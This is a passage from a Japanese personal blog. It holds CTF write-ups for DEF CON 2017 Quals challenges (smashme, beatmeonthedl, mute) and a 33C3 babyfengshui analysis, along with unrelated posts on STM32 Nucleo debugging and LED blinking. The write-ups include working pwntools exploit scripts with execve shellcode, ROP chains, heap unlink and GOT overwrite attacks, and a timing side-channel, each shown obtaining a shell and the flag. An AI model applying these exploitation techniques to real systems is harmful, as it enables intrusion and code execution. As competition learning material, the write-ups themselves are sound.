ヾノ*>ㅅ<)ノシ帳

技術ブログに見せかけて、ジャンル制限のないふりーだむなブログです。

DEF CON CTF 2017 Quals - smashme, beatmeonthedl, mute の 簡易Writeup

TomoriNaoでDEF CON CTF 2017 Quals(2017/4/28 9:00 JST - 2017/5/1 9:00 JST;48時間)に出ていました。 チームのSlackには私しかいなくて、ただただ寂しかったです。

TomoriNaoは 126 pts. で 122位 でした。

f:id:katc:20170501130549p:plain

簡易Writeupと称して簡単なバイナリの挙動の解説・アプローチを書いて、エクスプロイトコード・結果を貼っておきます。 生々しさのためにコードはきれいにしてません。

解いたのは下の3つです。100点submitを目標にしていたので満足です。

  • Baby’s First - smashme (TODO pts.)
  • Baby’s First - beatmeonthedl (TODO pts.)
  • Potent Pwnables - mute (TODO pts.)

smashme

バイナリの挙動

  • BOF(stack smashing)させてくれる

アプローチ

  1. ROPによりinformation leak
  2. main呼び出し
  3. shellcode送信
  4. shellcode呼び出し

shellcodeはshellstormにあるやつで十分です。rwxな領域(スタック)にペイロードが置かれますので。

information leakフェーズでは、bssにある変数Xをうまいこと見つけてputs(X)すればいいです。 bssの変数にこだわったのはアドレスが既知だからです。 今回はenvironという謎変数を使いました。

リモートの環境はUbuntu 14.04 LTSだということをエスパーで予見しないと調整が難しいかもしれません。

エクスプロイトコード

コードを振り返っているとすんなりいかない部分があったことが思い出されますが、なんでこんな書き方をしたのか全然覚えてませんorz

from pwn import *
from sys import argv

BIN = "./smashme"
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# http://shell-storm.org/shellcode/files/shellcode-603.php
# shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05"

# shellcode = "\x48\x89\xEC" + shellcode              # mov    rsp,rbp 
shellcode = "\x48\x89\xE5" + shellcode              # mov    rbp,rsp 
# shellcode = "\x48\x83\xEC\xf0" + shellcode          # sub    rsp, N
shellcode = "\x48\x83\xC4\x40" + shellcode          # sub    rsp, N

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True

r = None
offset = {}
if REMOTE:
    r = remote("smashme_omgbabysfirst.quals.shallweplayaga.me", 57348)
else:
    r = process(BIN)

prefix = "Smash me outside, how bout dAAAAAAAAAAA"
payload = prefix + shellcode.ljust(33, "\x90") + p64(0x6d0c30+7)
# payload = prefix + shellcode + "\x90" * 3 + p64(0x7fffffffe1f0 + 7)
with open("payload", "w") as f:
    f.write(payload)
# if not REMOTE:
#     exit()

# context.log_level = 'debug'

# if not REMOTE:
#     r.sendline("")
print r.recvline()

# bp()

# bss_stdin = 0x6c9748
# bss_obj = 0x6cc238 # 0x6cc238 <_dl_sysinfo_map>: 0x00000000006ce210
bss_environ = 0x6cb640

# addr_push_rsp_ret = 0x0044611d
addr_pop_rdi_ret = 0x00401942
addr_puts = 0x40fca0
addr_main = 0x4009ae
rop_chain = [
    p64(addr_pop_rdi_ret),
    p64(bss_environ),
    # p64(0x4a06d8), 
    p64(addr_puts),
    p64(addr_main),
]
r.sendline(prefix + "".ljust(33, "\x90") + ''.join(rop_chain))
# if not REMOTE:
#     r.sendline("")
#     r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?\n")
# res = r.recvline().replace('\n', '')
res = r.recv(6)
addr = u64(res.ljust(8, '\0'))
print "addr = %#x" % addr
shellcode_addr = addr + (0x7fffffffe297 - 0x00007fffffffe408) + 0x20
print "shellcode addr = %#x" % shellcode_addr
# r.interactive()
r.recvline()

bp()

payload = prefix + shellcode.ljust(33, "\x90") + p64(shellcode_addr)
r.sendline(payload)
# r.sendline("ls")

r.interactive()

結果

vagrant@vagrant-ubuntu-trusty-64:/vagrant$ python smashme.py r
[+] Opening connection to smashme_omgbabysfirst.quals.shallweplayaga.me on port 57348: Done
Welcome to the Dr. Phil Show. Wanna smash?

addr = 0x7fff7dbc8508
shellcode addr = 0x7fff7dbc83b7
[*] Switching to interactive mode
Welcome to the Dr. Phil Show. Wanna smash?
$ ls
flag
smashme
$ cat flag
The flag is: You must be at least this tall to play DEF CON CTF 5b43e02608d66dca6144aaec956ec68d

beatmeonthedl

バイナリの挙動

  • mallocのチャンクへのポインタのテーブルがbssに置かれる
    • チャンクの中にはポインタがないのでポインタテーブルをいじるっ問題ぽい
  • チャンクサイズが0x40に対して0x80バイトの書き込みが可能(自明なヒープBOF
  • コンパイル条件的にGOT Overwrite可能
  • スタックが実行可能(wrx

アプローチ

  • Ubuntu 14.04だから古いlibc固有の脆弱性が使える?(←よく知らん)とか考えて、katagaitaiの第1回の資料を見ていたら、Unlink Attackが使えそうなヒープの構造と分かった
    • 実際は最新Arch Linuxglibc 2.25-1)でも下のエクスプロイトコードは動くので半分間違ってる
    • あとは★参照
  • information leak:スタックの何らかのアドレスは、loginの"Invalid user"のエラーメッセージでリークできる
  • ポインタのテーブルを書き換えて、任意のメモリ書き換えを実現
  • 実行可能領域であるスタック(wrx)にshellcodeを書き込む
  • GOT Overwrite→shellcode呼び出し(今回はputsを犠牲にした)

別記★

  1. 直上のチャンク(Xとする)は使用中なのに、それに隣接したprev inuseビットを消したチャンク(Yとする)をfreeする
  2. consolidateが働いたときに(たぶん)、「Xの0〜8バイト(fd)の値+0x18」のアドレスの内容を「Xの8〜16バイトの値(bk)」で上書きできる

エクスプロイトコード

from pwn import *
from sys import argv
from time import sleep

BIN = "./beatmeonthedl"
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# http://shell-storm.org/shellcode/files/shellcode-603.php
# shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05"

syscall_exit_1 = "\x6A\x3C\x58\x6A\x01\x5F\x0F\x05"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
SOCAT = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True
    if argv[1] == "r":
        SOCAT = True

r = None
offset = {}
if REMOTE:
    r = remote("beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me", 6969)
elif SOCAT:
    r = remote("localhost", 6969)
else:
    r = process(BIN)

"""menu
I) Request Exploit.
II) Print Requests.
III) Delete Request.
IV) Change Request.
V) Go Away.
"""

def request(text):
    r.sendline('1')
    r.send(text)
    res = r.recvline()
    if "[-] Request list full" in res:
        log.warn(res)
        r.recvuntil('| ')
        return False
    r.recvuntil('| ')
    return True

def print_req():
    r.sendline('2')
    res = r.recvuntil('| ')
    req = []
    for x in res.split('\n'):
        if len(x) > 1:
            if x[0] in "0123456789":
                no, data = x.split(')')[:3]
                data = data[1:]
                req.append((no, data))
    return req

def delete(no):
    r.sendline('3')
    r.sendline("%d" % no)
    # print r.recvuntil('| ')

def change(no, text):
    r.sendline('4')
    r.sendline("%d" % no)
    if len(text) > 0x80:
        log.fatal("too log data")
    r.recvuntil("data: ")
    r.send(text)
    r.recvuntil('| ')

patt = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'

r.sendline(patt[:40])
r.recvuntil("Invalid user: ")
res = r.recvline().strip()[-6:]
addr = u64(res.ljust(8, '\x00'))
log.info("leaked addr = %#x" % addr)
mapped_base_addr = (addr - 0x1f000) & ~0xfff
if REMOTE and len(argv) == 3:
    mapped_base_addr += int(argv[2], 16) * 0x1000
    log.info("arrange offset = %#x" % int(argv[2], 16))
log.info("mapped_base_addr = %#x" % mapped_base_addr)

r.recvuntil('Enter username: ')
r.sendline('mcfly')
r.recvuntil('Enter Pass: ')
r.sendline('awesnap')

r.recvuntil('| ')


# for i in range(32):
# for i in range(4):
for i in range(2):
    # succ = request(chr(97 + i) * (0x80))
    succ = request(chr(97 + i) * (0x10))
    if not succ:
        break

# list_ptr = 0x609e80
# 0 0x60a030 
# 1 0x60a070
# 2 0x60a0b0
# 3 0x60a0f0

print print_req()

### 2
request(syscall_exit_1.ljust(0x10 - 5, "\x90") + "\xe9\x08\x00\x00\x00" + "\x90" * 0x10 + shellcode)

# context.log_level = 'debug'

### 3
request("c" * 0x10)
### 4
request("d" * 0x10)

# mapped_base_addr = 0x00007ffffffde000
ptr_reqlist = 0x609e80

#### reqlist[2] = mapped_base_addr
change(3, (p64(ptr_reqlist + 0x8 * 2 - 0x18) + p64(mapped_base_addr) + "XXXX").ljust(0x30, "\x90") + ''.join([
    p64(0x40),            # prev_size
    p64(0x42),            # size
    ]))
delete(4)
log.info("reqlist[2] has overwriten")
bp()

sleep(1)

# context.log_level = 'debug'
change(2, ("\x48\xBF" + p64(mapped_base_addr + 0x40)[:6] + "\x00\x00\x57\xC3").ljust(0x40, "\x90") + shellcode)
log.info("injected shellcode to reqlist[2]")
bp()

main_addr = 0x40123c
heap_base_addr = 0x0060a000
plt_got = {"puts": 0x609958}
shellcode_addr = mapped_base_addr
log.info("shellcode addr = %#x" % shellcode_addr)
assert(shellcode_addr & 0x00007ff000000000 == 0x00007ff000000000)

log.info("change(0, ...)")
change(0, (p64(plt_got["puts"] - 0x18) + p64(shellcode_addr + 0)).ljust(0x30, "\x90") + ''.join([
    p64(0x40),            # prev_size
    p64(0x42),            # size
    ]))

log.info("=== [got overwrite] ===")
log.info("delete(1)")
bp()
r.sendline("3")
r.sendline("1")


# context.log_level = 'debug'

r.interactive()

結果

K_atc% python2 beatmeonthedl.py r
[+] Opening connection to beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me on port 6969: Done
[*] leaked addr = 0x7ffe3b12a4b0
[*] mapped_base_addr = 0x7ffe3b10b000
[('0', 'aaaaaaaaaaaaaaaa'), ('1', 'bbbbbbbbbbbbbbbb')]
[*] reqlist[2] has overwriten
[*] injected shellcode to reqlist[2]
[*] shellcode addr = 0x7ffe3b10b000
[*] change(0, ...)
[*] === [got overwrite] ===
[*] delete(1)
[*] Switching to interactive mode
0) @\x99`
1) bbbbbbbbbbbbbbbb
2) H\xbf@\xb0\x10;\xfe\x7f
3) x\x9e`
choice: $ ls
beatmeonthedl
flag
$ cat flag
The flag is: 3asy p33zy h3ap hacking!!

mute

バイナリの挙動

  • シェルコードをmappedされた領域に置いて call rdx で呼び出してくれる親切設計
  • seccompを使用したサンドボックス
    • 下のような感じで、そこに併記したシステムコールだけが許可されている(面倒なのでltraceから推測)
  • パケットのペイロードが来る度に、先頭アドレスから書き込むような挙動をする。0x100ごとに繰り返し送ると動く
seccomp_init(0, 0x7ffff7bb99e0, 0, -1)       = 0x602010
seccomp_arch_add(0x602010, 0xc000003e, 0x602060, 1) = 0xffffffef
seccomp_rule_add(0x602010, 0x7fff0000, 0, 0) = 0        read
seccomp_rule_add(0x602010, 0x7fff0000, 2, 0) = 0        open
seccomp_rule_add(0x602010, 0x7fff0000, 3, 0) = 0        close
seccomp_rule_add(0x602010, 0x7fff0000, 4, 0) = 0        stat
seccomp_rule_add(0x602010, 0x7fff0000, 5, 0) = 0        fstat
seccomp_rule_add(0x602010, 0x7fff0000, 6, 0) = 0        lstat
seccomp_rule_add(0x602010, 0x7fff0000, 7, 0) = 0        poll
seccomp_rule_add(0x602010, 0x7fff0000, 8, 0) = 0        lseek
seccomp_rule_add(0x602010, 0x7fff0000, 9, 0) = 0        mmap
seccomp_rule_add(0x602010, 0x7fff0000, 10, 0) = 0       mprotect
seccomp_rule_add(0x602010, 0x7fff0000, 11, 0) = 0       mumap
seccomp_rule_add(0x602010, 0x7fff0000, 12, 0) = 0       brk
seccomp_rule_add(0x602010, 0x7fff0000, 59, 0) = 0       execve
seccomp_load(0x602010, 0, 0, 0)              = 0

アプローチ

  • writeができないので、動作をもとにflagを1ビットずつリークする
    • 朝5時にサーバーが空き始めてきれいに解けた!

エクスプロイトコード

アセンブリの通り。

/home/mute/flagをlseekを駆使して1ビットずつ読み出す。1だったら通信時間が長くなるようにループを実行する。

from pwn import *
from sys import argv
import os
import struct
import time

BIN = "./mute"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True

READ_OFFSET = "0"
BIT_MASK = "0xff"
if REMOTE and len(argv) > 2:
    READ_OFFSET = argv[2]
    BIT_MASK = argv[3]
if not REMOTE and len(argv) > 1:
    READ_OFFSET = argv[1]
    BIT_MASK = argv[2]

def leak(READ_OFFSET, BIT_MASK):
    global BIN
    
    log.info("READ_OFFSET = " + READ_OFFSET)
    log.info("BIT_MASK = " + BIT_MASK)

    r = None
    offset = {}
    if REMOTE:
        r = remote("mute_9c1e11b344369be9b6ae0caeec20feb8.quals.shallweplayaga.me", 443)
    else:
        r = process(BIN)

    r.recvline()

    if REMOTE:
        LOOP_AMOUNT = "0x10000000"
    else:
        LOOP_AMOUNT = "0x100000000"

    shellcode = asm("""
        push 0x0
        mov rax, 0x67616c662f657475
        push rax
        mov rax, 0x6d2f656d6f682f2f
        push rax

        push rsp
        pop rdi
        mov rsi, 0
        mov rdx, 0
        mov rax, 2
        syscall

        push rax
        mov rdi, rax
        mov rsi, READ_OFFSET
        mov rdx, 0
        mov rax, 8
        syscall   

        pop rax
        mov rdi, rax
        mov rsi, 0x00601100
        mov rdx, 1
        mov rax, 0
        syscall
        
        mov rax, [0x00601100]
        and rax, BIT_MASK

        cmp rax, 0
        jg end
        mov rax, LOOP_AMOUNT
        loop:
        dec rax
        cmp rax, 0
        jne loop
        end:
        """.replace("READ_OFFSET", READ_OFFSET).replace("BIT_MASK", BIT_MASK).replace("LOOP_AMOUNT", LOOP_AMOUNT), arch = 'amd64', os = 'linux') 

    # bp()
    # context.log_level = 'debug'

    start_time = time.time()
    # r.send(shellcode.ljust(0x1000, "\x90"))
    for i in range(0x10):
        r.send(shellcode.ljust(0x100, "\x90"))

    try:
        r.recv(0x1000)
    except EOFError:
        end_time = time.time()
        elapsed_time = end_time - start_time
        log.info("Connection Closed")
        print "elapsed time = %f" % elapsed_time   
        r.close()
        return elapsed_time

LOG_FILE_NAME = "bit-%d.log"
if REMOTE:
    LOG_FILE_NAME = "r-"+LOG_FILE_NAME
else:
    LOG_FILE_NAME = "l-"+LOG_FILE_NAME
f = open(LOG_FILE_NAME % time.time(), "w")
for i in range(0x0, 0x90):
    for j in range(8):
        elapsed_time = leak(hex(i), hex(1 << j))
        f.write("%d, %d, %f\n" % (i, j, elapsed_time))
        f.flush()
        time.sleep(1)
f.close()

計測結果をフラグ化するスクリプト。フラグが思ったより長くてログを結合するはめに。

data = []
with open("r-bit-1493583250.log") as f:
    data = f.read().strip().split("\n")

with open("r-bit-1493584813.log") as f:
    data += f.read().strip().split("\n")

with open("r-bit-1493585321.log") as f:
    data += f.read().strip().split("\n")

flag = []
for i in range(0x90):
    flag.append(list("0b00000000"))

threthold = 0.5

for x in data:
    i, j, t = x.split(',')
    i, j, t = int(i), int(j), float(t)
    if t < threthold:
        flag[i][-(j+1)] = "1"

buf = ""
for i in range(0x90):
    # print ''.join(flag[i])
    d = int(''.join(flag[i]), 2)
    buf += chr(d & 0xff)
print buf

結果

vagrant@vagrant-ubuntu-trusty-64:/vagrant/mute$ python log2flag.py 
The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa

floatを解きたかったです。IEEE 754形式の32ビット浮動小数群が実行可能領域に格納されて、それを実行するキ○ガイな問題です。ゼロが入っちゃってどうすればいいのかよく分からなかったです。

手元で実行できないバイナリが配布される問題がいくつかあったんですけど、なんだったんですかね。

来年は200点ぐらいとりたいですねー。(果たしてどのチームで出ることになるのやら…)

NUCLEO-L152REにわざわざST-Link v2を接続してOpenOCDで接続してみた

NUCLEO-L152REにはオンボードでST-Link v2が搭載されているため、ST-Link v2のようなUSB JTAG/SWDデバッガは必要ありません。

akizukidenshi.com

今回はわざわざST-Link v2をデバッガ、NUCLEO-L152REをターゲットとして、OpenOCDを使ってみたいという試みです。 この試みには有益性が全く無いですが、はまりどころがあったのでブログに残しておきます。

OpenOCDはgit版を使っています。

K_atc% openocd -v
Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html

ピン接続

デバッガ側は、ST-LinkのSTM32と書かれた20ピンを使います。 ピンの割り当ては下の図のようになっています。

f:id:katc:20170424163240p:plain

図は ULINK2 User's Guide: Target Connectors より

Nucleo側はCN2(ST-Link)ピンに刺さっているジャンパーを外して、CN11、CN12に取り付けます。 ジャンパーを無くさないように設計されていてとてもいいですね〜

SWDの場合

f:id:katc:20170424162753p:plain

CN2を上から(USBポートがある方を上にする)ピン1、ピン2、ピン3、ピン4とします。 メスーメスのジャンパーコードを下表の対応関係で接続します。

Nucleo側 ST-Link側
1 1 (VCC)
2 9 (SWCLK)
3 4 (GND)
4 7 (SWDIO)

JTAGの場合(試行中)

CN4を上から(USBポートがある方を上にする)ピン1、ピン2、…、ピン6とします。 メスーメスのジャンパーコードを下表の対応関係で接続します。
※をつけたポートはCN2のポートを使用したほうがいいかもしれないです?(OpenOCDに target voltage may be too low for reliable debugging と怒られてしまう)

Nucleo側 ST-Link側
1 1 (VCC) ※
2 9 (JTCK) ※
3 4 (GND) ※
4 7 (TMS/JDIO) ※
5 3 (nRST)
6 13 (TDO/SWO)

OpenOCD

ダメな接続例:USB電源を2箇所からとる

openocdのどのスクリプトファイルを使えばいいのかわかりませんでした。 最初はオンボードのデバッガに接続してしまわないように、Nucleoの電源は別のPCからとっていました。 そしたらOpenOCDの起動時のチェックで、ターゲットの電圧が0Vだったり1.5V以下だったりしてエラーになりました。 GNDのレベルがST-LinkとNucleoで違うからなんでしょうね。

よい接続例:USBを同じところからとる

2本のUSBを同じPCに接続するということです。

OpenOCDのスクリプトファイル(-fオプションで渡すファイル)を次の要領で作成しました。 ベースのディレクトリはインストール先によって変わるかもしれません。

# openocd -s /usr/share/openocd/scripts -f interface/stlink-v2.cfg -f target/stm32l1.cfg
# でもよい。 [f:id:katc:20170424162753p:plain]
cat /usr/share/openocd/scripts/interface/stlink-v2.cfg /usr/share/openocd/scripts/target/stm32l1.cfg > stlink-v2-stm32l1.cfg

SWD/JTAGのどちらの場合も、cfgファイルが対応しているはずなのにjtagで接続できない…

あとはopenocdコマンドを叩いて、デバッガのランプが緑と赤で交互に点滅したら接続完了です。

[root@K_atc nucleo-l152re]# openocd -f stlink-v2-stm32l1.cfg 
Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html
Info : auto-selecting first available session transport "hla_swd". To override use 'transport select <transport>'.
adapter speed: 300 kHz
adapter_nsrst_delay: 100
Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD
none separate
Info : Unable to match requested speed 300 kHz, using 240 kHz
Info : Unable to match requested speed 300 kHz, using 240 kHz
Info : clock speed 240 kHz
Info : STLINK v2 JTAG v27 API v2 SWIM v6 VID 0x0483 PID 0x3748
Info : using stlink api v2
Info : Target voltage: 3.183191
Info : stm32l1.cpu: hardware has 6 breakpoints, 4 watchpoints

参考

STM32NucleoでLチカ(mbed/C++)

時間がないので手短にまとめます。

必要なもの

  • STM32のNucleo(僕は、NUCLEO-L152REを使用)
  • USB Mini-B ケーブル
  • mbed(僕はARMmbed/mbed-osのmake.pyをビルドツールとして使用)

調査

NucleoのLD2(緑色のユーザー用LED)のポートを調べる

NucleoのUser ManualからPA5、つまりマイコンから見てPortA[5]だと分かります。

f:id:katc:20170115160519p:plain

PortAのベースアドレスと中身を調べる

STM32LのデータシートからPortAのベースアドレスが0x4002_0000と分かります。

f:id:katc:20170115161258p:plain

PortAが割り当てられた領域のレジスタ割り当ては、以前STM32F7のときと変わらないと思ったのでそのときに判明したことを参考にしました(細かいことはソースコード参照)。

katc.hateblo.jp

Lチカコード(main.cpp)

#include "mbed.h"

#define DURATION 0.15

#define PORT_A (0x40020000)
#define MODER (0x0)
#define ODR (0x14)
#define PORT_A_ODR ((volatile int*)(PORT_A + ODR))
#define PORT_A_MODER ((volatile int*)(PORT_A + MODER))


void ld2_on() {
    volatile int* cur = (volatile int *) (PORT_A + ODR);
    *PORT_A_ODR = *cur | 1 << 5;    
}

void ld2_off() {
    volatile int* cur = (volatile int *) (PORT_A + ODR);
    *PORT_A_ODR = *cur & ~(1 << 5);
}

// ↓やらなくても動く。この関数の処理は嘘なのでやってはいけない
void init_ld2() {
    // output mode 
    volatile int* cur = (volatile int *) (PORT_A + MODER);
    *PORT_A_MODER = *cur | 1 << (2 * 5); // PA5
    ld2_off();
}

int main() {
    for(int i = 0; i < 1000; i++) {
        ld2_on();        
        wait(DURATION);
        ld2_off();        
        wait(DURATION);
    }
    ld2_on();
    return 0;
}

参考

33C3 CTF - babyfengshui (pwn150) ほかの writeup

2016/12/29 5:00から48時間開催の33C3 CTFPing-Mic(今回は新人くんと2人)で参加しました。 結果は91位で525点です。次の問題を解きました。

  • babyfengshui (pwn150)
  • exfill (for100)
  • pdfmacker (misc75)

で、pay2pwn (web200)とかいう典型的な問題をアシストして終わりです。

babyfengshui

ユーザー管理をする帳簿を模したプログラムがpwnの対象。

疑似Cコード:

struct STRUCT_USERS {
    STRUCT_USER* user;
};

struct STRUCT_USER {
    // char* description;
    char* text;     // 
    char[] name;    // size = 0x7c
}; // size = 0x80

users[0]->name == users + 4

int number_of_X; // 0x804b069, starts with 0
STRUCT_USERS users; // 0x804b080

void getText(char* arg0, int arg1) { // 0x80486bb
    var_C = *0x14;
    fgets(arg0, arg1, *stdin);
    var_10 = strchr(arg0, 0xa);
    if (var_10 != 0x0) {
            *(int8_t *)var_10 = 0x0;
    }

    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}

void Update(int arg0) {
    var_1C = arg0;
    var_C = *0x14;
    if ((var_1C >= (number_of_X & 0xff)) || (users[var_1C] == 0x0)) goto update_exit;

loc_804875e:
    printf("text length: ");
    // __isoc99_scanf("%u%c", 0x0, var_11);
    __isoc99_scanf("%u%c", 0x0, var_11, var_10);
    // esp = (esp - 0xc - 0x4) + 0x10;
    if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd;

loc_80487b3:
    // ex. var_11 == 1145141919
    puts("my l33t defenses cannot be fooled, cya!");
    eax = exit(0x1);
    return eax;

loc_80487cd:
    printf("text: ");
    getText(users[var_1C]->text, 0x7c);
    goto update_exit;u

update_exit:
    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}


void Add(int arg0) {
    var_C = *0x14;
    var_14 = malloc(arg0); // arg0 is desicription size
    memset(var_14, 0x0, arg0);
    var_10 = malloc(0x80);
    memset(var_10, 0x0, 0x80);
    *var_10 = var_14; // users[i]->text = var_14
    users[number_of_X] = var_10;
    printf("name: ");
    eax = *(int8_t *)number_of_X & 0xff;
    eax = *((eax & 0xff) * 0x4 + users);
    getText(eax + 0x4, 0x7c);
    number_of_X += 1;
    Update(number_of_X - 1);

    eax = var_10;
    ecx = var_C ^ *0x14;
    COND = ecx == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}

function Delete {
    var_1C = arg0;
    var_C = *0x14;
    if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) {
            eax = *((var_1C & 0xff) * 0x4 + users);
            eax = *eax;
            free(eax);
            eax = *((var_1C & 0xff) * 0x4 + users);
            free(eax);
            *((var_1C & 0xff) * 0x4 + users) = 0x0;
    }
    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}

function Display {
    var_1C = arg0;
    var_C = *0x14;
    if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) {
            eax = *((var_1C & 0xff) * 0x4 + users);
            printf("name: %s\n", users[var_1C]->name);
            // eax = *((var_1C & 0xff) * 0x4 + users);
            // eax = *eax;
            printf("description: %s\n", users[var_1C]->description);
    }
    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}


int main() {
    eax = *stdin;
    setvbuf(eax, 0x0, 0x2, 0x0);
    eax = *stdout;
    setvbuf(eax, 0x0, 0x2, 0x0);
    alarm(0x14);
    esp = (((esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    goto loc_8048a68;

loc_8048a68:
    puts("0: Add a user");
    puts("1: Delete a user");
    puts("2: Display a user");
    puts("3: Update a user description");
    puts("4: Exit");
    printf("Action: ");
    esp = (((((((esp - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10;
    if (__isoc99_scanf("%d", var_14) != 0xffffffff) goto loc_8048aeb;

loc_8048ae1:
    eax = exit(0x1);
    return eax;

loc_8048aeb:
    if (var_14 == 0x0) {
            printf("size of description: ");
            __isoc99_scanf("%u%c", var_10, var_15);
            Add(var_10);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 == 0x1) {
            printf("index: ");
            __isoc99_scanf("%d", var_10);
            Delete(var_10 & 0xff);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 == 0x2) {
            printf("index: ");
            __isoc99_scanf("%d", var_10);
            Display(var_10 & 0xff);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 == 0x3) {
            printf("index: ");
            __isoc99_scanf("%d", var_10);
            Update(var_10 & 0xff);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 != 0x4) goto loc_8048c05;

loc_8048beb:
    puts("Bye");
    eax = exit(0x0);
    return eax;

loc_8048c05:
    if ((*(int8_t *)0x804b069 & 0xff) <= 0x31) goto loc_8048a68;

loc_8048c14:
    puts("maximum capacity exceeded, bye");
    eax = exit(0x0);
    return eax;
}

思考

  • 簡単にはヒープBOFができないか、他のチャンクを書き換えられるほど十分でない
  • free()の後にポインタをNull化しているため、double freeやUAF不可
  • ⇒"思い込み"に漬け込んでBOFして、隣接するチャンクを書き換える(=ポインタ書き換え)ことを目指す

思い込み(意図的に作り込まれたバグ)

if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd;

loc_80487b3:
    // ex. var_11 == 1145141919
    puts("my l33t defenses cannot be fooled, cya!");
    eax = exit(0x1);
    return eax;

このBOFのチェックは脆弱である。なぜなら、ユーザーnのdescriptionのチャンクとuser[n]のチャンクが隣接していることを前提にしているからである。 よって、図の(1)〜(3)の手順により、既存のチャンクは書き換え可能となり、同時にuser[1]がもつポインタを書き換え可能となる。 図の先が欠けた矢印はメモリ上での順序関係を示し、矢印はポインタを意味する。

f:id:katc:20161230163417p:plain

方針

  • ポインタ書き換えからの任意データ書き込みを実現(上図の(1)〜(3))
  • GOT書き換えからのsystem("/bin/sh")呼び出し(上図の(4))
    • free(buf)system("/bin/sh")と同等にする

Exploit Code

from pwn import *
from sys import argv
from os import system

BIN = "./babyfengshui"
BIN_PATCHED = BIN + ".patched"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

PATCH = False
REMOTE = False
if len(argv) > 1:
    if argv[1] == "patch":
        PATCH = True
    elif argv[1] == "r":
        REMOTE = True

"""
08048a5e 6A14                            push       0x14                        ; argument "seconds" for method j_alarm
08048a60 E8ABFAFFFF                      call       j_alarm
"""
if PATCH:
    with open(BIN) as f:
        b = f.read()
        b = b.replace("\x6a\x14\xE8\xAB\xFA\xFF\xFF", "\x6a\x00\xE8\xAB\xFA\xFF\xFF")
        with open(BIN_PATCHED, "wb") as f2:
            f2.write(b)
